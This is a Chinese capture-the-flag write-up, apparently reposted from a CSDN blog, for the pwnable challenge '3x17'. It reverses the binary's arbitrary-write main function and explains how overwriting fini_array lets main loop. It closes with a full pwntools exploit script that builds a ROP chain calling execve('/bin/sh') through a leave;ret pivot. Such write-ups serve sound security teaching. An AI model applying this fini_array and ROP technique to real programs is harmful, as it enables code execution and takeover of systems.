ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[pwnable] 3x17 wp

2021-10-19 12:34:53  阅读:269  来源: 互联网

标签:3x17 p64 pwnable send fini wp recvuntil array addr



title: 3x17
description: pwnable | elf文件格式 | ROP

##题目考点

  • elf文件格式
  • ROP

##解题思路

先checksec,amd64,有nx(其实也有canary但没检测出来),没开PIE,拖入ida进行分析,发现扣掉了符号表;
readelf -h一下,找到程序入口点,标准的start函数:

; Attributes: noreturn fuzzy-sp

public start
start proc near
; __unwind {
xor     ebp, ebp
mov     r9, rdx
pop     rsi
mov     rdx, rsp
and     rsp, 0FFFFFFFFFFFFFFF0h
push    rax
push    rsp
mov     r8, offset sub_402960		;r8中存入libc_csu_fini()地址
mov     rcx, offset sub_4028D0		;rcx中存入libc_csu_init()地址
mov     rdi, offset sub_401B6D		;rdi中存入main()地址
db      67h
call    sub_401EB0					;call libc_start_main()函数
hlt
; } // starts at 401A50
start endp

根据elf文件的标准格式,获得main()等主要函数地址,先对主函数进行分析:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  char *v4; // [rsp+8h] [rbp-28h]
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);				//canary
  result = (unsigned __int8)++byte_4B9330;	//可以char溢出(每过0x100次循环又重新归零),对解题影响不大
  if ( byte_4B9330 == 1 )
  {
    sub_446EC0(1u, "addr:", 5uLL);
    sub_446E20(0, &buf, 0x18uLL);
    v4 = (char *)(int)sub_40EE70(&buf);
    sub_446EC0(1u, "data:", 5uLL);
    sub_446E20(0, v4, 0x18uLL);
    result = 0;
  }
  if ( __readfsqword(0x28u) != v6 )
    sub_44A3E0();
  return result;
}

在主函数的逻辑中,可以看到程序先读取了一个地址(int型),然后将其作为字符型指针,可以在该地址上写入0x18的数据;

因此,可以通过反复调用main函数在合适的地方构造ROP链,实现无限次的任意地址写入从而getshell;

根据对elf程序结构的了解,可以知道程序执行完main函数后,会执行_libc_csu_fini函数:

_libc_csu_fini  proc near
; __unwind {
                push    rbp 					;func prologue
                lea     rax, unk_4B4100			;rax = 0x4B4100
                lea     rbp, off_4B40F0			;rbp = 0x4B40F0
                push    rbx
                sub     rax, rbp 				;即函数数组长度
                sub     rsp, 8
                sar     rax, 3					;0x10 -> 0x02(16 bytes -> 2 个64位地址)
                jz      short loc_402996
                lea     rbx, [rax-1]
                nop     dword ptr [rax+00000000h]
loc_402988:
                call    qword ptr [rbp+rbx*8+0]	;先执行(*(rbp + 8))(), 再执行(*rbp)()
                sub     rbx, 1
                cmp     rbx, 0FFFFFFFFFFFFFFFFh
                jnz     short loc_402988
loc_402996:                             
                add     rsp, 8
                pop     rbx
                pop     rbp
                jmp     _term_proc
; } // starts at 402960
_libc_csu_fini  endp

根据上述分析,发现可以通过修改0x4B40F0处 fini_array[2] 中元素的值,达到无限次循环调用_libc_csu_fini与main函数的目的,进而构造rop链getshell:

#构造fini_array,使得程序可以无限次进入main函数
main_addr = 0x401B6D
fini_addr = 0x402960
fini_array= 0x4B40F0
p.recvuntil(b'addr:')
p.send(str(fini_array).encode())
p.recvuntil(b'data:')
p.send(p64(fini_addr) + p64(main_addr))
#构造ROP链
prdi = 0x401696
pdxsi= 0x44a309
prax = 0x41e4af
sysc = 0x4022b4
bufad= 0x4B9300		#到.bss段随便找个位置放"/bin/sh\x00"
bufda= b'/bin/sh\x00'
p.recvuntil(b'addr:')
p.send(str(fini_array + 0x10).encode())
p.recvuntil(b'data:')
p.send(p64(pdxsi))

p.recvuntil(b'addr:')
p.send(str(fini_array + 0x18).encode())
p.recvuntil(b'data:')
p.send(p64(0) + p64(0))

p.recvuntil(b'addr:')
p.send(str(fini_array + 0x28).encode())
p.recvuntil(b'data:')
p.send(p64(prdi) + p64(bufad))

p.recvuntil(b'addr:')
p.send(str(fini_array + 0x38).encode())
p.recvuntil(b'data:')
p.send(p64(prax) + p64(0x3b))

p.recvuntil(b'addr:')
p.send(str(fini_array + 0x48).encode())
p.recvuntil(b'data:')
p.send(p64(sysc))

p.recvuntil(b'addr:')
p.send(str(bufad).encode())
p.recvuntil(b'data:')
p.send(bufda)

至于rop链构造的位置,通过分析_libc_csu_fini函数以及fini_array地址附近可以发现,_fini_array附近有一片连续的可利用的地址空间且rbp值被设置为0x4B40F0,至于rsp的值可以通过leave;ret;语句来进行调整:
最初rbp指向0f0 - 0x8(libccsufini函数中有push rbx操作),不能直接leave;ret;
这里有两种选择: 仍然使finiarray[1] 为main函数地址,而后leaveret,或者先ret再leaveret;
(leave == mov rsp, rbp; pop rbp)
(ret == pop rip)

#调整rbp,rsp,getshell
leaveret = 0x401c4b
p.recvuntil(b'addr:')
p.send(str(fini_array).encode())
p.recvuntil(b'data:')
p.send(p64(leaveret))

##exploit
直接组合起来即可getshell

from pwn import *

p = process("./3x17")

#构造fini_array,使得程序可以无限次进入main函数
main_addr = 0x401B6D
fini_addr = 0x402960
fini_array= 0x4B40F0
p.recvuntil(b'addr:')
p.send(str(fini_array).encode())
p.recvuntil(b'data:')
p.send(p64(fini_addr) + p64(main_addr))

#构造ROP链
prdi = 0x401696
pdxsi= 0x44a309
prax = 0x41e4af
sysc = 0x4022b4
bufad= 0x4B9300		#到.bss段随便找个位置放"/bin/sh\x00"
bufda= b'/bin/sh\x00'
p.recvuntil(b'addr:')
p.send(str(fini_array + 0x10).encode())
p.recvuntil(b'data:')
p.send(p64(pdxsi))

p.recvuntil(b'addr:')
p.send(str(fini_array + 0x18).encode())
p.recvuntil(b'data:')
p.send(p64(0) + p64(0))

p.recvuntil(b'addr:')
p.send(str(fini_array + 0x28).encode())
p.recvuntil(b'data:')
p.send(p64(prdi) + p64(bufad))

p.recvuntil(b'addr:')
p.send(str(fini_array + 0x38).encode())
p.recvuntil(b'data:')
p.send(p64(prax) + p64(0x3b))

p.recvuntil(b'addr:')
p.send(str(fini_array + 0x48).encode())
p.recvuntil(b'data:')
p.send(p64(sysc))

p.recvuntil(b'addr:')
p.send(str(bufad).encode())
p.recvuntil(b'data:')
p.send(bufda)
#调整rbp,rsp,getshell
leaveret = 0x401c4b
p.recvuntil(b'addr:')
p.send(str(fini_array).encode())
p.recvuntil(b'data:')
p.send(p64(leaveret))

p.interactive()

标签:3x17,p64,pwnable,send,fini,wp,recvuntil,array,addr
来源: https://blog.csdn.net/m0_51006902/article/details/120843767

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有